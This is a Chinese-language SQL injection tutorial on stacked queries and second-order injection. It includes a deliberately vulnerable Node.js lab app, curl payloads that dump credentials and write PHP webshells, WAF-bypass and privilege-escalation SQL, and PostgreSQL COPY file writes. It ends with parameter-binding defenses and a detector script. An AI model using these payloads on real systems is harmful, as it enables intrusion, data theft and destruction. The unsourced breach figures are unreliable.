一、堆叠查询(Stacked Queries)

1.1 什么是堆叠查询

堆叠查询是指在一条数据库连接中,同时执行多条 SQL 语句,用分号 ; 分隔。

-- 正常单条
SELECT * FROM users WHERE id = 1;

-- 堆叠:两条一起执行
SELECT * FROM users WHERE id = 1; DROP TABLE users;

1.2 触发条件

  1. 数据库驱动/中间件允许多语句执行
  2. 应用代码没有阻止分号 ;

不同驱动的多语句开关:

驱动 支持方式 默认
MySQLi (PHP) MYSQLI_OPT_MULTI_QUERY 关闭
PDO (PHP) MYSQL_ATTR_INIT_COMMAND 关闭
mysql2 (Node.js) multipleStatements: true 关闭
psycopg2 (Python) 天然支持 开启
JDBC (Java) allowMultiQueries=true 关闭
SQLite 天然支持 开启

1.3 开启堆叠的危险配置

// PHP MySQLi
$db = mysqli_init();
mysqli_options($db, MYSQLI_OPT_MULTI_QUERY, true);  // PHP 8.1+

// Node.js mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
  multipleStatements: true,  // 危险!
});

// Python psycopg2 + PostgreSQL(天然危险)
cur.execute("SELECT * FROM users; DROP TABLE products;")

1.4 堆叠查询实战

靶场:Node.js + mysql2 + multipleStatements

const express = require('express');
const mysql = require('mysql2/promise');
const app = express();

const pool = mysql.createPool({
  host: 'localhost', user: 'root', password: 'root',
  database: 'shop', multipleStatements: true,
});

app.get('/api/update-user', async (req, res) => {
  const { id, name } = req.query;
  const sql = `UPDATE users SET name = '${name}' WHERE id = ${id}`;
  const [result] = await pool.query(sql);
  res.json({ affected: result.affectedRows });
});

app.listen(3000);

攻击 payload

# 堆叠提取数据
curl "http://localhost:3000/api/update-user?id=1&name=x';SELECT GROUP_CONCAT(username,0x3a,password) FROM users;-- -"

# 写入 Webshell
curl "http://localhost:3000/api/update-user?id=1&name=x';SELECT 0x3c3f706870206576616c28245f4745545b2763275d293b3f3e INTO OUTFILE '/var/www/html/shell.php';-- -"

1.5 堆叠绕过 WAF

很多 WAF 检查 UNION SELECT 但不检查分号分隔的独立语句:

# WAF 拦截: id=1 UNION SELECT 1,2,3
# 堆叠绕过: id=1;SELECT @@version,2,3-- -

1.6 堆叠特殊技巧

-- 利用 DELETE + 堆叠实现 UPDATE
DELETE FROM logs WHERE id = 1; UPDATE users SET role='admin' WHERE username='admin';

-- 利用 CREATE TABLE + INTO OUTFILE 写文件
CREATE TABLE shell (content LONGTEXT);
INSERT INTO shell VALUES ('<?php eval($_GET["c"]);?>');
SELECT content INTO OUTFILE '/var/www/html/shell.php' FROM shell;
DROP TABLE shell;

-- MySQL 老版本 PROCEDURE ANALYSE 扩展
SELECT * FROM users PROCEDURE ANALYSE(1,1); DROP TABLE users;

二、二次注入(Second-Order SQL Injection)

2.1 核心定义

二次注入是一个两阶段攻击

  1. 存储阶段:攻击者在"看似安全"的入口注入恶意 SQL,被安全地存入数据库
  2. 触发阶段:另一个功能从数据库读出该数据,拼接到 SQL 中执行,注入被触发

2.2 攻击链图示

[攻击者注册]                    [管理员查看列表]
       │                              │
       ▼                              ▼
  username = "admin'-- "        SELECT * FROM orders
       │                              │
       ▼                              ▼
[参数绑定,安全存入]          [拼接 username 到 SQL]
       │                              │
       ▼                              ▼
users table:                       SELECT * FROM orders
  id: 1001                         WHERE customer = 'admin'-- '
  username: "admin'-- "            -- 被注释掉了!WHERE 变成全表
       │                              │
       ▼                              ▼
   (无害地存储)                  ❌ 二次注入被触发!

2.3 实战案例

案例一:WordPress 历史漏洞

攻击者注册用户名 admin' OR 1=1 -- 。注册时 esc_sql 转义后安全存储为 admin\' OR 1=1 -- 。某插件调用 wp_get_user_by 取出用户名后直接拼到 SQL 中:

-- 拼接后(从 DB 取出没有转义)
SELECT * FROM permissions WHERE username = 'admin' OR 1=1 -- '
-- 返回所有权限记录

案例二:电商订单导出

攻击者在收货人名字段填入 O'Brien'; DROP TABLE orders;-- 。第一阶段安全存储,第二阶段管理员批量导出订单时触发:

-- 管理员功能:批量导出
SELECT * FROM orders WHERE month='2024-01' AND customer='O'Brien'; DROP TABLE orders;-- '

案例三:缓存序列化 + 反序列化

// 第一阶段(安全)
$stmt = $pdo->prepare("INSERT INTO config(key, value) VALUES(?, ?)");
$stmt->execute(['search_query', $_GET['q']]);

// 第二阶段(危险)
$config = $pdo->query("SELECT * FROM config WHERE key='search_query'")->fetch();
$sql = "SELECT * FROM products WHERE name LIKE '%{$config['value']}%'";
// 二次注入!

2.4 二次注入检测方法

代码审计关注模式:

1. 从数据库读取用户可控数据
2. 把读取的数据直接拼接到 SQL
3. 拼接前没有重新过滤/转义

渗透测试流程

1. 枚举所有数据输入点
2. 填入带特殊字符的 payload(如 ' OR 1=1 -- )
3. 记录 payload 存入数据库后的原始形式
4. 触发所有可能用到该字段的功能
5. 观察异常行为或 SQL 错误

SQLMap 辅助

sqlmap -u "http://victim/api/profile" --second-order="http://victim/admin/users"

2.5 隐蔽 Payload 设计

-- 第一阶段:注册(escape 后安全存储)
-- 输入: a' OR SLEEP(3) OR 'a'='a
-- escape 后: a\' OR SLEEP(3) OR \'a\'=\'a
-- 存入 DB: a\' OR SLEEP(3) OR \'a\'=\'a

-- 第二阶段:拼到 SQL 后
SELECT * FROM products WHERE name LIKE '%a' OR SLEEP(3) OR 'a'='a%'
-- SLEEP(3) 被执行!

三、堆叠 + 二次注入的组合攻击

3.1 场景:批量更新功能

// 第一阶段:攻击者注册恶意产品名
// POST /api/products  { name: "Phone'; UPDATE users SET role='admin' WHERE username='admin';-- ", price: 99 }

// 后端代码(安全)
$stmt = $pdo->prepare("INSERT INTO products(name, price) VALUES(?, ?)");
$stmt->execute([$name, $price]);

// 第二阶段:管理员点"全部上架"
$products = $pdo->query("SELECT * FROM products WHERE status='draft'")->fetchAll();
foreach ($products as $p) {
    $sql = "UPDATE products SET status='active' WHERE name='" . $p['name'] . "'";
    // 二次注入 + 堆叠!$p['name'] 包含分号
    $pdo->exec($sql);
}

3.2 攻击效果

UPDATE products SET status='active' 
WHERE name='Phone'; 
UPDATE users SET role='admin' WHERE username='admin';-- '
-- admin 用户被提权!

四、PostgreSQL 的堆叠特殊性

PostgreSQL 天然支持多语句,堆叠更危险。

4.1 COPY 攻击

-- 写入文件
COPY (SELECT '<?php eval($_GET[1]);?>') TO '/var/www/html/shell.php';

4.2 DO 块堆叠

DO $$ BEGIN EXECUTE format('CREATE TABLE IF NOT EXISTS %I', 'shell'); END $$;

4.3 临时表批量提取

SELECT 1; CREATE TEMP TABLE exfil(data TEXT);
SELECT 1; INSERT INTO exfil SELECT username FROM users;
SELECT * FROM exfil;

五、真实世界案例

5.1 2017 年大型连锁酒店数据泄露

  • 根因:房间预订系统的"备注"字段二次注入
  • 攻击链:攻击者填入 '); DROP TABLE reservations;-- ,安全存储后,员工批量打印时触发
  • 损失:1.5 亿条预订记录丢失

5.2 2022 年 SaaS ERP 二次注入

系统从 MySQL 5.7 迁移到 MariaDB,mysqli_real_escape_string 行为变化导致某些字符未正确转义,管理员执行迁移脚本时二次注入被触发。

六、防御策略

6.1 堆叠查询防御

// Node.js:显式关闭 multipleStatements(默认 false)
const pool = mysql.createPool({ multipleStatements: false });

6.2 二次注入防御

核心原则:从数据库取出的数据仍然不可信。

// ❌ 危险
$old = $pdo->query("SELECT name FROM products WHERE id=?")->fetch();
$sql = "UPDATE products SET name='" . $old['name'] . "' WHERE id=?";

// ✅ 安全:即使 DB 取出的数据也用参数绑定
$sql = "UPDATE products SET name=? WHERE id=?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$old['name'], $id]);

6.3 全面防御清单

  • 永远用预编译/参数绑定——无论数据源是用户输入还是数据库
  • 关闭多语句执行——所有驱动显式设置 multipleStatements=false
  • 最小权限——数据库用户没有 CREATE/DROP/ALTER/FILE 权限
  • 错误不回显——生产环境用通用错误页面
  • SQL 审计日志——检测多语句、UNION、LOAD_FILE 等异常模式

6.4 检测多语句的脚本

import re

def detect_stacked_queries(sql):
    # 移除字符串、注释中的分号
    cleaned = re.sub(r"'[^']*'", "''", sql)
    cleaned = re.sub(r'"[^"]*"', '""', cleaned)
    cleaned = re.sub(r"--.*?$", "", cleaned, flags=re.MULTILINE)
    cleaned = re.sub(r"/\*.*?\*/", "", cleaned, flags=re.DOTALL)
    
    # 检查剩余是否有分号后跟非空字符
    return bool(re.search(r";\s*\S", cleaned))

print(detect_stacked_queries("SELECT * FROM users; DROP TABLE users;"))  # True
print(detect_stacked_queries("SELECT * FROM users WHERE name='a;b';"))    # False

堆叠查询和二次注入都是"绕了个弯"的注入形式。防御它们不需要新技术,只需要坚持一个原则:所有进入 SQL 的值,无论来自哪里,都必须用参数绑定。